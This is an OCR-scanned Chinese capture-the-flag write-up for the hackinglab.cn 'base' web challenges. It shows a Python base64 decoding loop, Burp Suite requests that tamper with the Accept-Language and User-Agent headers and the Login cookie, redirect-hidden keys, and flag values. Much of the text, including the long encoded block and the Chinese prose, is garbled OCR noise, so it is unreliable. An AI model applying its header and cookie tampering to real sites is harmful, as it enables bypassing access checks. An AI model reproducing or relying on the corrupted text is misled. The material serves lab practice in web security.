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VmOwd2QyUXIVWGXWV0d4V1YwZDRWMVI3WKRSV01WbDNXa1JTVjAXV2JETIhhMUpUVmpBeFYyS
kVUbGhoTVVwWVVZtcEJIRISU2tWVWJHaG9UVIZ3VIZacVFtRIRNbEpJVm10a1dHSkdjRTIaVj
NSR1pVWmMFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWnd
WMDFFUIRGV1ZFb3dWakzZhV0ZOcmFHaFNIbXhXVm1wT1QwMHhRIpYYINSWFRWaENSbFpYZUZO
VWJIVWTIVbFJIDVjAxdVVuWIZha1pYWkVaT2NscEdhR2XTTW10b 1YXWINTMkI4U2tk WGJHUIIZb
FZhY1ZadGRHRk5SbFowWIVaT1ZXSIZXVEpWYkZKSFZgRmFSbUI6WkZkaGExcG9WakJhVDJOdF
JraGhSazVz2WWxob1dGWnNRNWGRVTVZGM1RVaG9hbEpzY0ZsWmJGWmhZMnhXY1ZGVVJsTk5XRUp
IVmpKNFQxWIhTa2RgUm14aFUwaENTRIpxUm1GU2JVbDZXa1prYUdFeGNHOVdhaOpoVkRKT2RG
SnJhR2hTYXpWeldXeG9iMWRHV25S TIdHUIZUVIpHTTFSVMFHOWhhIRXB6WTBac1dtSkdXbWhaT
VZwaFpFZFNTRkpyTIZOaVJtOTNWMnhXYjJFeFdYZESWVIpUWVRGd 1 YxbHIXa3RUUmxweFVtMU
dVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBWmMtSS 1QyUkd TbkpoUjJoVFIYcFdIbGRYZUc
5aU1XUKhWMjVTVGXOSFVuTIZhaOp6V GtaVmVXUKhkRmhTTUhCSIZsZDRMWROU2tkWGJXaGFU
VzVW0ZsNIJsZGpiSEJIV2tkc1UySndTbUZXTW50WFdWWIJIRMRzYUZSaV JuQIpWbXRXZDF Ze
GJISIhhM1JVVW14d2V GV XIkROZpUmxwelYyeHdXROV4YOhKWIZXUkdaVWRP UjJJKR2FHaE5Wbk
J2Vm10U1MxUnRWa2RqUId4VIisZGOWRNYTIc5V1ZscEhXVESvYVUXWFVucFdNV2h2VjBkS1d
WVnJPVIpoYTFwSVZHeGFZVmRGTIZaUF YyaHBVbGhCZDFac1pEUmpNV 1wV TJOb2FGSnNTbGhV
VIZWM1Zr'WmFjVk5yWkZ0OaVJrcDZWa2N4YzFVeVNuSIRiVVpYVFc1b1dGZFdXbEpsUm1SellVW
INhVkp1UWxwV2JYUlhaREZaZUdKSVNsaGhNMUpVVIexNGQyVkdWbGRoUnpsb 1RWWndIbFISYO
VKkV01ERjFZVWhLV2xaWFVrZGFWM2hIWTIXS 1lyRkdhRIJTVIhRCS1ZtMTBVMU14VIhoWFdHaFI
ZbXhhVjFsc1pHOVdSbXhaWTBaa2JHSkhVbGxhVIANMVIWVXhXRIZyYUZKTmFsWIVWa2Q0YTFO
R1ZuThiRIpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRIISYUhCVmJHaERUbXhrVIZGdF JicESWM
UIBVIRKMGIyRkd Tbk5UYkdoVIZsWndNMVpyV21GalZrNXIXa1pPYVZKcmNEWIdhMk40WXpGVm
VWTnVTbFJpVIZWWVZGYzZFiIMWRHWKZKWGJFcHNVbTFTZWxsVIdsTmhWa3AxVVd4d1YySIVbGh
hUkVaYVpVZEtTVk5zYUdoTk1VcFZWbGN4TkdReVZrZF dXR3hyVWpOU2IxoHNWbmMRXTVZwMFkw
ZEdXROpHY0ZoWk1HUNZWMnhhV0ZWclpHRIdAWMUpRVIRCVKSWWXhRWhoUjJoT1UwWVKkINbFpOT
VRCVK1VMTRWVmhzVm1FeVVsWIpiWFZWVVaV2RHVKZKR3BTYKhCNFZrY3dOVI4V250aldXaF
IWa1UxZGxsV1ZYaFhSbFoxWTBaa1RsWXIhREpXTVZwaFV6RkpIRIJ1VmxKaVJscFIWRIJHUZA
1¢c1drZFZhMIUXVFZad01GVnRKkRZIWUmMxwMFIVWINWVIpYYUV SVk1uaGhZekZ3UIZWdAGNFNVAN
VWwzVmxSS01HRXhaRWhUYkdob1VgQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubGFSV11ZWVZaY
WNtTkZIRmRpUjFFd1ZrUktSMVI4V GxsalJuQkOUVzFW 1ZkV 1VrZGtNa1plVjJ4V1UySkdjSE
5WYIRGVFRWWIZIV042UmxoU2EzQmFWVmMxYjFZeFdYcGhTRXBWWVRKU1NGVnFSbUZYVmS5CSVI
VWKOWMVpHV2xaV2JHTjRUa2RSZVZaclpGZGISMUp2VIc1d2MySXhVbGRYYm1Sc1IrWnNOVmt3
Vm10VO01ERKZVbXBHV2xaWGFFeFdNbmhoVjBaV2NscEhSbGROTW10SIYxUkpIRk14U1hoalJXU
mhVbFJXVDFWc2FFTIRNVNAWVFZSQ1ZrMVZNVF JXYkdodYWWmtTROZHYkZwaVdHaGOWbTEQYz
JOc2NFaFBWMOJUWWtoQO5GWnJZM2RPVmxsNFYyNVNWbUplYUZoV2FrNU9UVIphVOdNemFGaFN
iIRNA1V1ZWYWEXUnRSbk5YYkZaWFIUSIUNRMRXV2t0ak1WSjFWRzFW TJKR2NGbFhWM2hoVWO0x
UmVGZHVSbEppVIZwaFZtMHhVMU5XV2x0a1J6bGOUVIZ3TUZsVIds TIdWbHBZWVVWU1ZrMXVhR



2hazZWtaM1VsWIdkROSGTIZKTIZXd3pWbXhTUzAXSFNYb FNhMIJVWW1zMVZWbHJaRzIX YkZwMF
pVaGtUazFXYKROV01qVkxZa1pLZEZWdWJIHRINWMUIEV 1ZaYVIXThRUa1ppUm1ScFVqRkZKMWR
XVWtOUO1WbDRWRzVXVm1KRINsaF ZiRkpYVjFaYVIixbDZSbWxOVjFKSVdXdG9SMVplUlhoalNF
NVdZbFJHVkZZe WVHdGpiRnBWVW14a1RsWnVRalpYVkVKaFZgRmtSMWRZY0ZaaWE zQIWbXRXW
VdWc1duRINIR1IXVFZKU2VsbFZaSESXTVZwMVVXeEdWMkV4Y0doWFZtUINaVIphY2xwR1pGaF
NNMmg1VmxkMFYXTXhaRWRWYkdSWVItMVNjMVpOTVRCTKk1WbDVUbGQwWV0ZKecmJETIdIWEJUV|J
zeFIXTNNRbGROYWtaSFdsWmFWMk5zY0VoU2JHUKOUVZFvU2xZeFVrcGxSazEOVTFob2FsSihh
SEJWYIRGAIZP'WmFMkZGV GxSTIZuQXdWRIp TUTFack 1WWk5WRkp YWWikb2RsWXdXbXRUUjBaS
FIr'wndhVmRIYUc5V2JYQkhZekpOZUdORmMFGQIdiVkpVV1d4b2IxbFdaRIZSYIVab 1RXdHATVI
V5ZEc5V2JVcElaVWRWIJKSFVrOVVWbHB6YmpGYVdXRkdhRkSpUmSBMV YxWIdZVOV4VW5SU2J
rNVIZa1phV0ZsVVNsSk5SbFkyVW10MGFrMVIRa3BXYlhoVFIWWk{jMk5HYkZoV00xSm9Xa1JC
TVdNeFplISmhSM2hUVFVad2F GWnNRNSGhWTVVsNFZXNU9XROpWV2xkVmJYaHpUbFpzVm1GRIRsZ
GIWWEJKV1ZWV1QxbFdTa1pYYldoYVpXdGFNMVZzV2xka1wNUdUbF prVGxaWGQzcFdiWwGhUVX
pBeFNGTIIIRkS0 TWXKVIAXMXpNVIpXYKhKYVJ6bFhZa1p3ZWxZeUSXdFVhekZYWTBoc1 YWMXF
Sa2haVjNoaFkyMU9SVKZOUmxOV01VWXpWbTF3UzFNeVRuTIVia3BxVWO0Oxb2NGVNnNRISGRsVmM1S
WIkwVmtWMkpXV2xoV1J6VIBZVIpLZFZGck9WVIdla1oyVmpGYWEXWXhWbkphUNST1IURNA TV
IpxU2pSVO1WVjVVMNRrYWxORKSWZF piRkpIVmtaU1YxZHNXbXhXTURReVZXMTRhMVJzV25WUm
FscFIWa1ZLYUZacVJtdFNNV 1xVkd4U2FFMXRhRzIXVNSWFdWZE9jMVp1UmxSaEOxSIZWbTE
0UzAXR2JGWIhhemxYVFZad 1NGWXI[RXRXTWtwWSVZHcFNWV0OV5VWxOYVZscGhZMnh3UjFWR2F G
TkSNbWexVm14a2 QxUXhWWGxUV0docF UwV TFXRmx0TVZOWF JsSIhWMjVrV GxKdGRE TIhhMV pyV
jBaSmQyTkZhRnBOUmMSCMIZgSnpIRkSHVmMSWWGJHUK9Zb TFvYjFacVFtRIdNazV6WTBWb1UySk
hVbGhVVmxaM12XeGFjMVZyVG10TIZXdzBWVEZvYzFVeVJYbGhTRUpXWWxo TmVGa3dXbk5XVmt
aMVdrVTFhVkp1UVhkV1JscFRVVEZhY2sxV 1drNVdSa3BZVmO01d1YxWkdXbkZUYTFwc1ZteGFN
V1Z0ZUdGaF ZrbDRVbGhrVjJKVVJUQIpla3BPWIVKT1JtRkdRbGRpVmtwVIYxZD BWMIF4WKhOW
GEyaHNVak5DVUZadGVITk9SbGw1VGxaT1YySIZIRWxaVIZwdIZgSkdjazVWT1ZWV2JIQm9Wak
Jr'VGT1WdAFJrZGhSazvVwVW01Qk1sWXhXbGRaVBWNFZXNU9IXRmRIZUc5VmEXWjNWMFpTVjFkdVp
HaFNiRmt5VIcxME 1HRnJNVmMRUYWtaWFZgTmOVRmxXV2twbFJrNTF Xa1prYUdFd2NGaFdSbFpX
WIVaSmVGcEITbWhTTTFKVVZGVmFkMIJzV2tkYVNIQkOWakZhZWxZe GFITIVNVNB5V GxNVZWW
nNXak5VVIZwaFYwVTFWbFJzZWkU1aEOwSktWMVpXVjFVeFdsaFRiR3hwwWpKb1dGbHJXbmRWUmM
xwelYydDBhazF XYOhsVWJGcHJZVmRGZDFKWWNGZGIXR2h4V2tSQmVGWXhVbGxoUm1ob1RXMW9
WbGRYZEdOaU1rbDRWbTVHVW1KVIdsaFphMXAzVFVad1ZtRkhkRIZoZWtaYVZWZD RMWxXV2xo
aFJYaGFZVEZ3WVZwVIdtdGpiVTVIWVVkb 1RsZEZTbEpXYIRGM1V6RktkRIpyYUZWaE 1WcFIXV
3RrVTFaR1ZuTlhibVJzZVmOxU1dsa3dWbXRXTWtWWFVtcEOWVIpzV25wWIZscEtaVmRHUjFWc2
NHbFNNbWd5VmM1wR1IXRXhaRWhXYTJoUVZtdHdUMV pzVWtaTIJtUIZVVZFHV 2xac2JEUIhhMVp
2WVVaS2MxTnNXbGRpVkVaVVZtdGFKkMWRIVmtsVWJHUNBVakZL TmxaclkzaGINVmw1VWxod1Vs
ZEhhRmMhXYIRGU1RVWndSVkpzY0d4V2F6VjZXV3RhWVdGV1NYbGhSemxYVmpOU1dGZFdaRTIqT
VZwMVVteFNhRTB4U2xaV2JURjZUVIV4UjFadVVieFNWR3h3VIdwQ2QxZHNiRIpWYKU1WFRVUkK
dXVIpXYUdOWF JscDBWV3hPWVZac2NHaF pNbmgzVWpGd1lyRkdUazV OYldjeFZIMTRhMIF4Ulh
oaVJtaFZZVEpTV0ZsdGVFdGpNVIYzV2taT2FrMVhIS GXX TWpWUF ZERMFkVKZZWkZwV 1 YXRjNW
akJhUzJOdFNrVIVIR1IwVjBWS1ZWWnF TbnBsUmtsNFZHNU9VbUpIVWs5WIYzZUmhVMFprYzFkd
FJsZE5helY2V1RCV2IxVXITaZhWYXpsVIZucEdkbFV5ZUZwbF JsWnlZMGQOVTJGNIJUQIdWRV
p2WWpKR2MxTnNhRIppVjJoWFdXdGFTMWRHV2tWU2JHUNFUV3RhUjFaSGVGTIVIRnAXVVZoa1Y
xSnNjRIJWVkVaaFkyc3hWMWRyTIZKU2EzQIpWMWQwYTJJeVVuTIhXR1JZWWxoU1ZWVnFRbUZU
Vm14V1YyMUdWVOpGYORGVIZ6QTFWakpLVIZKVVFscGxhM0OJRV 1hwR2QxTIdUblJrUms1T1RVV
ndWbFI4WKRCaU1VVjNUbFZrVOdKemNHRIVWRXBUVIVaYWRHVkIUazI TYkd3MVZHeFZOV0ZIU2
taaldte GFWbFp3ZWxacVNrWmxSbHBaWVVkR1UWMHIhRF pXYIhCSFdWWmtXRkpyWkdoU2F6Vnd
WVZzAXxUWsxc1dYaFhiR1JhVmpCV05GWIhOVTIYUm1SSVpVYzZVWbUV4V2pOV01GcFRWakZrZF Zw
SGFGTmISbXQ1VmxjeE1FMUhSbkpOVmM1SVVIXdGFXRIpxVG05U1JscHhVMnQwV TAxck5VaFphM
XB2VmpBd2VGTnFTbGRXYkVwWSVZsUkdXbVZIVGtaaVJsWnBVakpvZDFadGVHRmMtNV1JIVjJ0a1
dHSIZXbkZVVIZKWFUwWWIpIROZJV GXWTIZuQVWR3hqTIZaV1duTlhibkdWWWtad2VsWnRNVWR



TYkZKeldrZHNWMWRGU2t0V01WcFhWakZWZUZKWVpFNVdiVkp4VIdwS2IxbFdVbGRYYm1SV 1Vt
MTBORII5ZUd0aGF6RIWVZVZzVIdKR2NISIdSM2hoVjBkUmViTkdaR2xYUjJoVIZsaHdRbVZHV
GtkVWJIHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJo TFdWWktObUpHYUZwaE1YQX
pXbGQOV21WVk5WaGtSbFpvWId0YVdsZHNWbUZoTVZsM1RWaEdWMkpyY0ZoV2EXWJNWRVpWZUZ
kclpHeGIWVNBJVjJOYVQxUnJNWFJoUmxwWFIsUkdNMVY2Ums 1bFZsSjFWR3hXYVdFelFuwldwW
ekIOVIRGYVIXVNNWbFJpVkd4d1ZGWmFkMIZXV2xoa1JFSIdUVVJHV1ZaWGRHOVdhekYxXWVVod
1dGWnNjRXRhV|NoSFI6RIdjMXBIYUdobGJGbDVWbTF3UjFsWFJYaGFSV2hYWVRKb1VWWnRkS G
RVTVZwWMFpFaGtWRIp0VWxaVIZ6RkhZVIV4Y2xkcVFsZGIWRIpNVmpCa1MxTkhWa2RhUmSCcFV
gSmOWVIpHVWtka01WbDRXa2hTYTFJelFuQlZha1pLWKRGYVJWSnRkR2xOVm13elZGWIdhMkZG
TUhsbFJtaGFZa1pLUTFwVIduTmpWa3B6WTBKNF UySId TalZXYWtvMFZUSkdXRk5yYkZKaVlya
FIXV3hwWTFKkR1pGZGFSbVJXVFZkU01WVnRIRTIoVmtsNFUyNW9WMUpzYOhKV 1ZF cFhZekpLUj
FkdFJsUINWRIoyVmOweESHUXIWbGRoTTJSV 1IsVmMFXRIJWVWkWF ZscFhZVWQwV0ZKc2NEQId
WM2hQV1ZaYWMyTkhhRnBOYm1nelZXcEdkMUISUmtkVWF6Vk9ZbGRgZUZadE1UUMhNREZIVjFo
b1ZWZEhhR2hWYkdSVFZqRnNjpbHBHV GxoV2JYZ3dWRIphVDJGck1WZGpSRUpoVmxkb1VGWKVSb
UZrVmtaeldrWndWMVI4UmpOV2FrSmhVMjFSZVZScldtaFNiaOpQVicwMVEWMXNXbkZUYm5Cc1
VtczFTVIZ0ZEdGaVJrcDBWV3M1V21KVVJuWipha1poWTFaR2RGSnNaRTVoZWxZMIYXUKNWMKI
4VIhsVGEyaFdZa2RwWmxadGVHRkSNVNBZWIVKR2F rMIVdXbmxXUjNocllVZF djMWRzYkZkaGEx
cDJXV3BLUjJNeFRUTMhSMmhUWIcXNFdGZF daREJrTWxKelYydFdVMkpHYOhKVVZscDNaVIip3U
mxaVVJtaFdhMOF4VIZab2ExZEhTa2RYYmtaVIrZFNSMXBFUVhoVO01XUnlUbFprVTJFelFscF
diVEEZWIVKSmVWVnVUbGhYUjFKWIdXeGOVMVpXVm5GUMJIVWIVZa1phTUZwVIpFZGhSbHBSWWit
SU1ZtSKhhSEpXYWtwTFZsWktWVkZzY0d4aEOwSIFWMnhXWVdFeVVsZFdiazVWWWxkNFZGUIdW
bmRXYkZsNFdrUkNWMDFzUmpSWGEyaF BWMGRGZVdGSVRsWmhhelZFVmxXWYVIXUkZNVmMRV YkZKV
FIrZDNNVIplZUZaT1YwWkIVMnRhYWxKRINtaFdiR1JUVTBaYWMxZHRSbGROYXpWSVYydGFWMV
15U2tsUmFscFhZbGhDUO0ZKkV 1dtdFhSa3B5WVVkd 1UwMXVhRmxXYWIKWFV6Rk9SMWR1VW14U00
xSIFWV3BDVjA1R1dsaE9WazVXVFd0d2VWUNNXbk5YYIVWNFkwZGOWMDF XY0doYVJWVjRWakZP
Y2s1V1RbFNiIWFEXVm14amQyVkd TWGXTYmxKVFIXeHdXRmxyWkc5WIZteFZVbTVrVIZKAGVGa
FANbIF3WVdzeGNrNVZhRnBoTVhCMIZtcE JkMIZHV G5SUF ZtaGOUVIZ3U1ZkV 1VrZFhiVIpIWT
BWc1ZHSIhhRIJVVKkVaTFZsWmFSMVpOUm10TIYxSIIWakowYTFsV 1RrbFJiazZVXWWtaS1dGWXd
XbUZrUIRWWFZHMWO9UbBF pYTOhsWFYzUmhZVEZhZEZOc2JHaFRTRUpXV1d0YWQyVnNXblJOVIdS
VFIrWktlbGRyWkhOV01XUkdVMnQwVjAxV2NGaFdha1pXWIVaa1dWcEZOVmRpVmtwNFZsZHdTM
kl4YkZkVmJHUIZbTF TVjFWAE 1UQk9SbGw1WIVKMGFHR|ZSbGxXVnpWelZsZEtSMk5JU2xkUO
OyaG9WakJrVW1WdFRrZGF SMnhZVWpKb 1ZsWnNhSGRSYIZaSFZHdGtWROpIZUc5VmFrSmhWa1p
hY1ZOdEQWZGISMUpaV2tWa0 1HRIZNWEppUkZKWFIsUIdWRIpIZUdGT2JVCcEIVbXhrYVZkSFoz
cFhiRnBoV1ZkU1JrMVdXbUZTYkZwdldsZDBZVmRzWkhOV2JVWmIOUVIpzT TFSV2FFZFdNa3B5W
TBab1YyRXhXak5XUIZwV 1pVWmtjbHBIYOdsV 1ZuQkpWakowWVZReFVuSk5XRkpwWW14d1dGbH
NVa2ROTVZZMIVtczFiRIpzU2pGV1IlzaFhZVmRGZWxGdWF GZF dlaOkwV 1dwS 1QxSXhXbIZWYIh
oVVVqgRktkMVpHV210Vk1XUKhWMnhvYTFKRINsZFVWVkpIVjBac2NsVnNUbGROVId3MIdWVm9k
MWRZzV1hwaF JYaGhVbXh3U0ZreWNGVIANVNnB6V2tkNGFFMVhPVFZXYIRGM1VgRNNWMkpHWKZSW
FlyaHdWV3RhZDFaR2JITmFSRkpWVFZad2VGVnRkREJXUmxwelkwaG9WazFXU2toV1ZFRjRWak
ZhY1Zac1drNWIIRXB2VjFaa05GUXhTbkpPVm1SaFVINUNjRIZOZEhkVFZscDBaRWRHV0dKV1d
sbFdiWFJ2WVRGSmMVsRnVRbFppVkZaRVZticEdZVmRGTVZWVmJXeE9WbXhaTVZaWGVHOWNVIow
VTJ4YVdHSkhhRmhaYkZKSFZURINWbGR1VGs5aVJYQXdXa1ZhVDFSc1dYaFRXR2hYWWtkUk1GZ
FdaRWRUUms1eVIrWkthVkl4U2xsWFYzaF RVbXN4UjJORIZsUmISMUp4VkZaa1UwMVdWblJsUI
Rsb1ZtdHNORIV5TIc5V01VeHpZMGhLVjFaRmNGaFpla3BMVWpGa2RGSnNVbESXUmxveVZtMHd
IRTVIVVhsV2JHUMOUVEpPTV 1ZsdE1WTIhSbEpZWkVoa1ZGWnNjRWxa TUZwUF ZqRIpkMV pxV mxk
V00yaFFWMVphWVdNeVRraGhSbkJPWWO0OxbmVsWIhRWRrTVU1SVUydGOhVkpyTIZsVmJGWjNWV
EZhZEUxSVpHeFNWRIpKVId4b2IxXWXhaRWhoUjJoV 1IrZFNWRIpxUm5OamJHUjF Xa1prVGxZem
FGZFdWRW8wWVKRKR2NrMVdaR3BTUIVwb 1Zte GFXbVF4YKhKYVJYUIRUV3MxXUmxWWGVGZFdNVnB
5WTBac1YySIIRa05hVIZwTFZqRk9kVIJOUMxOaWEwWcDNWMWN4TUZNeFVsZFhibEpPVTBkb1ZW
UldaRk5 YUmxwMFRsWmtXRkI3YOVsV 1Z6 QTFWMnhhUmxkcVRscGhhMXBwWmpCVmVGWIdWblJoU
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IKVVD I PAEFUNIVIV PU TUNO TIWV JIRZA TPMV KZKDGV FIUV ZIDKJO VT4 YVVINSVVIIIKRIZ | YKIGVVIAS VT
tSMkZyTVZoa1JGcGFWbFpWTVZaVVNrdFhWMFpIWTBaa2FFMVIRakpYVNCTFVqSK5IRIJ1VG1
oU01taFZWV3hXZDFkR1pGaGxSemxWWWxaYVNGWXIKRMRWTWiwV 1 YyNUdWVIpOVWxSYVYzaHIa
REZ3UIZWdGF GZGhNME YOV mxaYWIyRXhaRWhUYTJSWV ItdHdWMWxYZEdGaF JtdDVZek5wWjAxW
FVqQIphMXBQVIRKRmMVsRNRPVYMROVmM5CVVZXcEtVbVZXVWSWVWJHaFIVakZLYjFaWGVHOVZNaz
VYWWtoT1YXWKZXbFJVVmxwSFRrWIplVTFVUW10U2JIQXdWbGQwYzFKSFJuSKOWRTVYWVdOd 1N
Ga3lIRTIrUjBaSFkwZDRhRTFZUWpWV2JYQKRXVIpWZVZSdVRtcFNWMmhVV1d0Vk1XTkdXblJr
UOdSWFI'WnNORMRyVWtOWGJGbDRVbXBPVIAKR2NISIANR1JMWXpGT2NrOVdaR2hOVmSCTIZgR
mMFZVmxYVWtoV2ExcGhVbFJzVkZscmFFSmtNV1J6VmOxR2FFMVdjRmxXWTW5SSaFIXeEtXR1ZIUm
XWV1JUVKVXbFphVjFJeFNsVmISa1pXVmtSQkSRPTO=

(REH#UT, BT £RR)

IR K Ibase64 % L. A FITEME T 2R, 5 > pythonl — i~

import base64

fp=open('1l.txt"','r")

a=fp.read()

while 1:
a=base64.b64decode(a)
print a

GRN

VIZS551TwHVZ1EWhpUOhCS1VqTENLVmxyWkhkaElr ¥V jVaREbzVG 1WemNLal
YXpBd1ZERkIPVk] SUFQwPQ==
WYREVOSVYbEh1SHEEU jHCeV1r IHAhME VS ZIDHs ImVecHhIVEoOY 1 dF eV VuT
YTJWHU1HbHpJR3ByTkdwa2Eyd31NekpxYT] 4cWEyUnNNak00T 1E9PQ==

a2¥51G1lzIGprbGpka2 z]gaZ2xqaZRsMjM40Q==
ey 1= Jk1]

Traceback ﬂ!ust recent call lgst)f_

MBI G~

4 EUMDSINE R %4, EKRA?
€0960851294d7b2253978ba858e24633

BEARRMDSINE, Z BIFEM s — T~ RN

e0960851294d7b2253978ba858e24633
Sk

ERER
big




b 4T RS~

5. MBI

NARZESRYTE T — AW, ERARFPEAGE! KRT, TRAHFAZERL—EETEE-RART!
188 5 i b

TFF 2 J5% W only for Foreigner” /s £ o B A\ 5 i ) 1 B 25 2 A B\ B AT i~
ERBR# 1 burpsuite,2t— T Accept-Language en,Go~

Go Cancel <|v > | Target: http://lab1.xseclab

Request Response

- Headers | Hex _[RawT Headers | Hex | HTML I Render ]

s S | LELEC
GET /basel1_0ef337f3afbed2d5619d7a36c19c20abvindex_php HTTP/1.1 Comnection: keep—alive
Host lab1.xseclab.com Remave Date: Wed. 26 Oct 2016 05:00:05 GMT
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; n-49.0) Gecko/20100101 Firefox/49.0 f:?e?g"gé";l;;"”html
Accept text/html,application/xhtml+xml,application/xml;q=0.9."/*,q=0.8 l Up J ¥-Daa-Tummel: hop_count=1
ficcept-Language en | Down Content-Length: 141
Accept-Encoding gzip, deflate htnls
Referer http:/fhackinglab.cn/ShowQues. php?type=bases <heady
Connection keep-alive <meta http-equiv="content—type”
Upgrade-Insecure-Requ_.. 1 cont ezl}l;’"at,;;(tfhtml icharset=utf-58">
Cache-Control max-age=0 Shody

— |key is: *(TU68Tjks. = |

3

)i {88 22 1] — AN B 33 (hittp //www.atool.org/httptest.php )~

6. HAHA M %588

FEUREE e/ NABIEE T —FFHN R, MHAHARI S, AL B RGBT HAHAN S 834 Be Bt o /B A 22 IR PR B3
HAHARI 588, 1AHJE1T, (R §EIEIX A7 B 23R HAHAR YT 88 4 Re i 1 8 H e 2

1 S b ik

T, B R ARV A HAHAR S 8%, 5 T 8HAHARI S350 ¢ 7
FB e — T User-Agentif 17 i ~ER BR ¥ HH burpsuite.


http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php
http://www.atool.org/httptest.php%2529~
http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php

Go Cancel < |v >

Target: http://labl.xseclab.com | # L

Request Response

m Headers | Hex Raw | Headers | Hex | HTML T Render ]
= i) | e

GET /baseb_6082c9088192105c378eb93b6631cdd3/index php HTTP/1.1 Comnection: keep—alive

Host labibeciabicom j [ Remave J Date: Wed, 26 Oct 2016 05:03:41 GMT
Pseragent Mozilla/6.0 (Windows NT 10.0; Win64; x64; n48.0) Gecko/20100101 HAHA/49.0 contemt-Type, text/hnl

Accept text/html,application/xhtml+xml,application/xml;q=0.9,%*;q=0.8 [LJ K-Daa-Tunnel: hop_count=1
Accept-Language zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Down Content-Length: 183

Accept-Encoding gzip, deflate html>

Referar http:/fhackinglab.cn/ShowQues php?type=bases Chead

Connection keep-alive <meta http—equiv="content—typs"

Upgrade-Insecure-Requests 1

content="text/htnl; charset=utf-8">
</head>

Cache-Control max-age=0 Cbody>
— = Ao, REL) S HAHA LGS ! key 1s
r HAHAl iulangi
HR 3T B~
7 key 7t 7 1E 55 BLIE ?

E—WNE R RERIRE] T key, BRIEIX AR BHEHE 2 LW,

i8Sk

TRA T RkeylIMGEAR, A4 keyiX R AETE R IE ?

SEBRG, A Ffirebugit MLE B M~

e Oy

xhr

< > D=
B FE

T s

Connection
Content-Encoding
Content-Type
Date

EHls HTML CSS kX DOM
%88 | HTML | CSS JavaScript

Rz -
ER f&T

Co
XHR

keep—alive

gzip

text/html

Wed, 26 Oct 2016 05:07:11 GMT

|_Key

T h%7 SFUFL |

Server
Transfer-Encoding
Via

X-Daa-Tunnel

sae
chunked
10. 67. 15. 22

hop_count=1

PR 3T A~

8.key XA T
/NRIX IR AT ER A BlkeyZH R T, REEH 3k Flkeyrd ?
Bt

HF, 8RB E #ekey ", m~E7~"key is not here!”...
AN DL YRS ERB R IR 7 AN B B L
MR

BABAET


http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php
http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php

FTTFIRA WAL L AT LA Blkeymhi~

9. B EMM

NSRBI AW, EREEkey, HREMEAMERA T, IRAEHthE G ?

ik

T BRI G Bk | " RREHRER AN EEEM~

GET /basef_ahf29d778e3a20540df d60f2e548a5eh/index. php HITF/1.1
Host: labl.=xzseclab. com

Accept-Language: zh-CH, zh;q=0. 8, en-US;g=0. 5, en;g=0. 3
Accept—Encoding: gzip, deflate

Referer: http://hgekinglab. cn/Showlues. php?type=hases
Cookie: Login=0

Comnection: keep—alive

Upegrade-Insecure-Requests: 1

Cache—Control: max—age=0

BN BRAT L~

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; x64; 1v:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html, application/zhtml+zml, application/=zml;q=0.9,%/#%;q=0.8

Go Cancel < | > | Follow redirection Target: http://lab1.xseclab.com | & ?
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML I Render ]
GET /basel_0abd63aaS4bef0464289d6a42465Ff354/ search_key. php HTTR/1.1 A HITP/1.1 302 Found Fl
Host: labl.zseclab. com ™ Server: sae il
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:48.0) Gecko/20100101 Comnection: keep-alive
Firefox/40.0 Date: Wed, 26 Oct 2016 05:17:29 GMT
Accept: text/html. application/zhtml+xml, application/=ml:q=0. 9, #/%;q=0.8 Content-Type: text/html
Accept-Language: zh-CN, zh; ¢=0. 8, en-US; ¢=0. 5, en; q=0. 3 Location:
Accept—Encoding: gzip, deflate http://hacklist. sinaapp. com/based_0abdG3aai4bef (4642896242465 354/ index_no_k
Referer: ev. php
http: //1labl.=seclabh. con/based_Oabdf3aaddhef0464289d6a42465f354/ index. php Via: 10.67.21.27
Comnection: keep—alive ¥-Daa-Tumnel: hop_count=1
Upgrade-Insecure—FRequests: 1 Content-Length: 224
<html>
<head>
<meta http-—equiv="content—type” content="text/html charset=utf-8">
</head>
<hody:
href=". /kev_is_here now .php”>___</a»</—ili5if
Ll
htnl>



http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php

Go Cancel <|v 2| Target: http://lab1.xseclab.com | #|| 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
———— HITP/1.1 200 OK &
hlams |Value | Add Server: sae r
GET /based_ab629d778=3a29540dfd60f2e548a0eb/in_.. K Comnection: keep-alive
Host lab1 xseclab.com Remove Date: Wed, 26 Oct 2018 05:24:04 GMT
User-Agent Mozilla/s.0 (Windows NT 10.0; Win64; x64; rvd_ U— E.E?ETE_;?):I 2;Xtﬂﬂm1
Accept text/html application/xhtml+xml.application/xml; ... ;JP Set-Cookie: Login=0
Accept-Language zh-CM,zh:q=0.8,en-US;q=0.5.en:g=0.3 — #-Daa-Tumnsl: hop_count=1
Accept-Encoding gzip, deflate Content-Length: 152
Referer httpz//hackinglab.cn/ShowQues.php?type=bases <htnls
Cookie Login=1 <head>
Connection keep-alive <meta http-equiv="content-type” content="text/htnl;charset=utf-5">
</head>
Upgrade-Insecure-Requests 1 g “hady>
— 5 Ikey 18: cooki1eed1tT82378BO9K] I
10. LB KA
HRE RS BT R AT T !
Rk
A Ny .
O NMERR B3 A AL BT A4 R Epostii$ 7 K — LR Z AT T IE? BB tibrupsdite.
Go Cancel < |v > |v Target: http://lab1.xseclab.com | # || 7

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

POST /hasel0_0b4edB366096913ac9c3a2272dde27215/ index. php HTTP/1. 1

Host: labl.xzseclab. com

User—-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; =64; v 40.0) Gecko /20100101
